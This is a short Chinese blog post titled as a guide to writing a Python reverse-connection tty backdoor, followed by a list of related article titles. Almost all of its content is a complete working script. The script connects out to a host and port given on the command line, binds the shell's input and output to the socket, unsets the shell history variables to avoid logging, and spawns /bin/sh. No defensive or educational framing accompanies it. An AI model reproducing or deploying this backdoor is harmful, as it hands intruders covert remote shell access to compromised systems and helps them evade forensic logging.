python编写ttyshell的反向链接后门
2011-05-18 23:20
351 查看
#-*- coding: utf-8 -*- import sys import os import socket import pty shell = "/bin/sh" def usage(programname): print "ython connect-back door" print "Usage: %s " % programname def main(): if len(sys.argv) != 3: usage(sys.argv[0]) sys.exit(1) s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2]))) print "[+]Connect OK." except: print "[-]Can't connect" sys.exit(2) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) global shell os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") pty.spawn(shell) s.close() if __name__ == "__main__": main()
相关文章推荐
- 【技术分享】利用 Python 打造反向 TCP 后门
- 用Python编写shell脚本时经常使用的函数的介绍
- python调用shell链接mysql数据库进行操作
- 用Python编写MapReduce代码与调用-统计accessLog中链接的点击量
- 如何基于Python写一个TCP反向连接后门
- Python编写shell脚本中常用的文件介绍
- python编写shell脚本详细讲解
- 【Python】如何基于Python写一个TCP反向连接后门
- Linux下编写脚本Shell和Python的区别
- python 写的一个反向连接的shell
- linux下的shell 和python编写
- python 反向连接后门
- 通过编写Shell、Python脚本来实现在线管理KVM虚拟机
- python shell GUI编写切换工作路径
- python+influxdb+shell编写区域网络状况表
- python编写shell脚本详细讲解
- python 反向连接后门
- python编写简单后门程序(支持windows和linux且不乱码)
- ARM:Makefile编写、链接脚本编写、裸板shell框架
- 在python shell窗口中编写print不向屏幕输出